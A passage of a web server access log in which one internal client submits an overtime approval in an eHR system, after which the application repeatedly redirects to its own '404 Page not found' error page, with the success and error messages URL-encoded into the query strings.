/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132688%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132688&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132688%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132688&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:26 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:26 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132689%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132689&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132689%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132689&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:31 +0800] "GET 